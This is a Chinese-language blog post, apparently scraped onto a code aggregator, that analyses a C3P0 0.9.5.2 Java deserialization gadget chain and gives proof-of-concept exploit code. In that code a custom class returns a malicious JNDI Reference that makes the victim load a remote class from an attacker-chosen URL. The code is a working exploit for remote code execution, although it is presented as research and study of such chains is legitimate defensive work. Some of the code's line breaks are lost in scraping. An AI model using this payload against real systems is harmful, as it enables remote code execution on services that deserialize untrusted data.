当前位置: 代码迷 >> 综合 >> C3P0 反序列化
  详细解决方案

C3P0 反序列化

热度:53   发布时间:2023-11-26 20:50:32.0

C3P0 反序列化

依赖

<dependency><groupId>com.mchange</groupId><artifactId>c3p0</artifactId><version>0.9.5.2</version>
</dependency>

Gadget

/** Gadget:* PoolBackedDataSourceBase#readObject* ReferenceIndirector$ReferenceSerialized#getObject* ReferenceableUtils#referenceToObject* Class#forName* */

ReferenceableUtils#referenceToObject 方法可以调用 Class#forname 加载远程对象,只要控制了方法的第一个参数

image-20220123153004208

ReferenceIndirector$ReferenceSerialized#getObject 方法调用到 ReferenceableUtils#referenceToObject 方法,且第一个参数为 reference 属性

image-20220123153253034

PoolBackedDataSourceBase#readObject 调用到 ReferenceIndirector$ReferenceSerialized#getObject 方法,从输入流中获取对象,如果这个对象是 IndirectlySerialized 的实例则调用其 getObject 方法,那么这里设法让获取到的对象为 ReferenceIndirector$ReferenceSerialized ,且让其 reference 属性为恶意构造的 Reference 对象

image-20220123153711978

ReferenceIndirector$ReferenceSerialized 本来就实现了 IndirectlySerialized 接口,那么接下来看看 PoolBackedDataSourceBase#writeObject 方法

image-20220123153941536

indirector.indirectForm() 方法会返回 ReferenceIndirector$ReferenceSerialized 对象,那么就需要进入catch 语句块,让 connectionPoolDataSource 属性为没有实现序列化接口的对象即可,跟进一下indirector.indirectForm() 方法

image-20220123154325925

跟进逻辑 ReferenceIndirector$ReferenceSerialized.reference 属性由 connectionPoolDataSource 属性的 getReference 方法返回值设置,那么自定义一个对象并重写 getReference 方法,然后赋值这个对象给 connectionPoolDataSource 属性

根据分析自定义的类需要实现 ReferenceableConnectionPoolDataSource 接口,防止抛出错误而导致没有完成整个过程

public class C3P0 {
    public static byte[] getSerializeData() throws Exception{
    PoolBackedDataSourceBase poolBackedDataSourceBase = (PoolBackedDataSourceBase) Reflect.reflectGetObject("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase", new Class[]{
    }, new Object[]{
    });// 反射设置 PoolBackedDataSourceBase.connectionPoolDataSource 属性为构造的 MiddleClass 对象Reflect.reflectSetField(poolBackedDataSourceBase,"connectionPoolDataSource",new MiddleClass());byte[] bytes = SerWithUnSer.serialize(poolBackedDataSourceBase);return bytes;}public static void main(String[] args) throws Exception{
    ParseArgs.parseArgs(args);byte[] bytes = getSerializeData();SerWithUnSer.unSerialize(bytes);}// 构造的 MiddleClass 对象需要实现 Referenceable、ConnectionPoolDataSource 接口,防止抛出错误而导致没有完成整个过程static class MiddleClass implements Referenceable , ConnectionPoolDataSource {
    @Overridepublic Reference getReference() throws NamingException {
    // 返回构造的恶意 Reference 对象return new Reference("1",ParseArgs.c3p0EvilObj,ParseArgs.c3p0Url);}@Overridepublic PooledConnection getPooledConnection() throws SQLException {
    return null;}@Overridepublic PooledConnection getPooledConnection(String user, String password) throws SQLException {
    return null;}@Overridepublic PrintWriter getLogWriter() throws SQLException {
    return null;}@Overridepublic void setLogWriter(PrintWriter out) throws SQLException {
    }@Overridepublic void setLoginTimeout(int seconds) throws SQLException {
    }@Overridepublic int getLoginTimeout() throws SQLException {
    return 0;}@Overridepublic Logger getParentLogger() throws SQLFeatureNotSupportedException {
    return null;}}
}
  相关解决方案